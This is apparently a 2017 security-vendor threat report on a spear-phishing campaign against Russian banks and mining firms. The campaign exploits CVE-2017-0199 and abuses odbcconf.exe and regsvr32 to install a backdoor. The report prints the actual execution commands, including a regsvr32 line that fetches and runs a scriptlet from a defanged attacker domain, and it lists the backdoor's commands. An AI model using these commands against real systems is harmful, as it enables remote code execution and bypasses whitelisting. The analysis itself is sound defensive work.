Emails with Backdoor Targets Russian Businesses

Published: 2017-08-07 · Archived: 2026-04-05 19:24:59 UTC

A malicious email campaign against Russian-speaking enterprises is employing a combination of exploits and Windows components to deliver a new backdoor that allows attackers to take over the affected system. The attack abuses various legitimate Windows components to run unauthorized scripts; this is meant to make detection and blocking more challenging, particularly by whitelisting-based solutions.

We've observed at least five runs from June 23 to July 27, 2017, each of which sent several malicious emails per target. Affected industries were financial institutions, including banks, and mining firms. Of note is how the attackers diversified their tactic—sending different emails for each run, per target.

The earliest sample of the malicious dynamic-link library (DLL) file related to these attacks was uploaded to VirusTotal last June 6, 2017. This somewhat coincides with the spate of emails we saw during the period between the last week of June and July 27, 2017.

We're inclined to think that these attacks are still ongoing. Their limited distribution and specificity in social engineering lures are red flags that may indicate they are a spear-phishing campaign.

Figure 1. The malicious email campaign's attack chain

Figure 2. Different malicious emails sent to one target (timeline from left to right, clockwise)

Figure 3: A sample email sent to a mining firm

The infection chain starts with emails with addresses designed to make it look like they're from actual sales and billing departments. One sample we found used the subject line, *Правила подключения к шлюзу,* which translates to "*Rules for connecting to the gateway."* Another has the subject line, *Оплата госпошлин,* which means "*Payment of state duties."*

These emails contain an attachment that takes the form of a .DOC file with various file names. Two of the file names we've seen used are *Инструкция для подключения клиентов.doc (Instructions for connecting clients*) and *Заявление на оплату услуги .doc (Application for payment of the service)*.

Figure 4. Email with attached DOC file

These files are actually a malformed Rich Text Format (RTF) file Trend Micro detects as TROJ_EXPLOYT.JEJORC. These exploit a vulnerability (CVE-2017-0199) in Microsoft Office's Windows Object Linking and Embedding (OLE) interface. We've actually seen other threat actors leveraging this security flaw.

The exploit code downloads what is supposedly an XLS file from *hxxps://wecloud[.]biz/m11[.]xls*. This domain, to which all of the URLs used by this attack point to, is controlled by the attacker and was registered in early July. This fake Excel spreadsheet file is embedded with malicious JavaScript. The Excel header will actually be ignored and the file will be treated as an HTML Application file by *mshta.exe*, the Windows component that handles/opens HTA or HTML files.

Figures 5 to 6. XLS file with header and JavaScript code

The JavaScript in *m11.xls* contains two PowerShell scripts. The first script will download and launch a decoy document, while the second will continue the infection chain by downloading another file.

Figure 7. Decoy document from the first PowerShell script

Figure 8. Content of newly downloaded file

The file will be decrypted using AES-CBC cipher algorithm and then saved to the *%Appdata%* folder with a random file name and .TXT extension. The decrypted file is a dynamic-link library (DLL) file detected as TROJ_DROPNAKJS.ZGEG-A.

Figure 9. Decrypted file

The JavaScript code in *m11.xls* will then execute the file using the following command line: odbcconf.exe /S /A {REGSVR C:\Users\Administrator\AppData\Roaming\{RANDOM}.txt}

This particular file (*odbcconf.exe*) is a normal executable that performs various tasks associated with Microsoft Data Access Components. The command above misuses this feature to execute the DLL file.

Upon execution, this DLL will drop a file in the *%AppData%* folder. This file is appended with a *.txt* extension. This is actually an SCT file (Windows scriptlet), which is normally used to declare variables, define expressions, and add functional codes in web pages. In this case, it has a malicious, obfuscated JScript file (JS_NAKJS.ZIEG-A).

Figure 10. Dropped XML file showing obfuscated downloader code

The DLL will execute the SCT file using the following command: regsvr32.exe /s /n /u /i:”C:\Users\Administrator\AppData\Roaming\{RANDOM}.txt” scroBj.dll

This particular command uses the *Regsvr32* (Microsoft Register Server) command-line utility, which is normally used to register and unregister OLE controls in the Windows registry, including DLL files. This attack method is also known as Squiblydoo—*Regsvr32 is* abused to bypass restrictions on running scripts. It also means evading

application whitelisting protections such as AppLocker. While Squiblydoo is already a known attack vector, this is the first time we've seen it combined with *odbcconf.exe*.

The above command, once deobfuscated, will execute *another* XML file, which is downloaded from *hxxps://wecloud[.]biz/mail/changelog[.]txt.* This file serves as the main backdoor.

Figure 11. Constructing the command to launch the final payload

The same command format is used to launch the final payload (JS_GETFO.ZHEG-A). Note that because of the /i switch, the code is directly gathered from a URL: regsvr32.exe /s /n /u /i: hxxps://wecloud[.]biz/mail/changelog[.]txt scroBj.dll

This is another SCT file with obfuscated JavaScript code that contains backdoor commands, which essentially allow attackers to take over an infected system. It attempts to connect to its C&C server at *hxxps://wecloud[.]biz/mail/ajax[.]php* and retrieve tasks to carry out, some of which are:

- d&exec = download and execute PE file
- gtfo = delete files/startup entries and terminate
- more_eggs = download additional/new scripts
- more_onion = run new script and terminate current script
- more_power = run command shell commands

Mitigation

While the later stages of the infection chain required the use of various Windows components, the entry point still involves the use of a Microsoft Office exploit. Patching and keeping software up-to-date will protect users. Alternately, employing firewalls, intrusion detection and prevention systems, virtual patching, and URL categorization, as well as enforcing robust patch management policies, will significantly reduce the system's attack surface.

Apart from enforcing the principle of least privilege, system administrators should also consider disabling system components that aren't necessary to the user's tasks. Another option is to blacklist possible command interpreters and rarely used applications, even if they are Windows components themselves. It should be noted that doing this could affect legitimate system functions, but will improve security.

Trend Micro Solutions

Trend Micro™ OfficeScan™ with XGen™ endpoint security has Vulnerability Protection that shields endpoints from identified and unknown vulnerability exploits even before patches are even deployed. Trend Micro's endpoint solutions such as Trend Micro™ Smart Protection Suites, and Worry-Free™ Business Security protect end users and businesses from these threats by detecting and blocking malicious files and all related malicious URLs.

Indicators of Compromise (IoCs):

Related hashes detected as TROJ_EXPLOYT.JEJORC (SHA-256):

-
-

Related hash detected as TROJ_DROPNAKJS.ZGEG-A (SHA-256):

-

Malicious DLLs detected as TROJ_DROPNAKJS.ZGEG-A (SHA-256):

-
-
-
-
-
-

URLs related to the malicious email campaign:

-
-
-
-
-
-
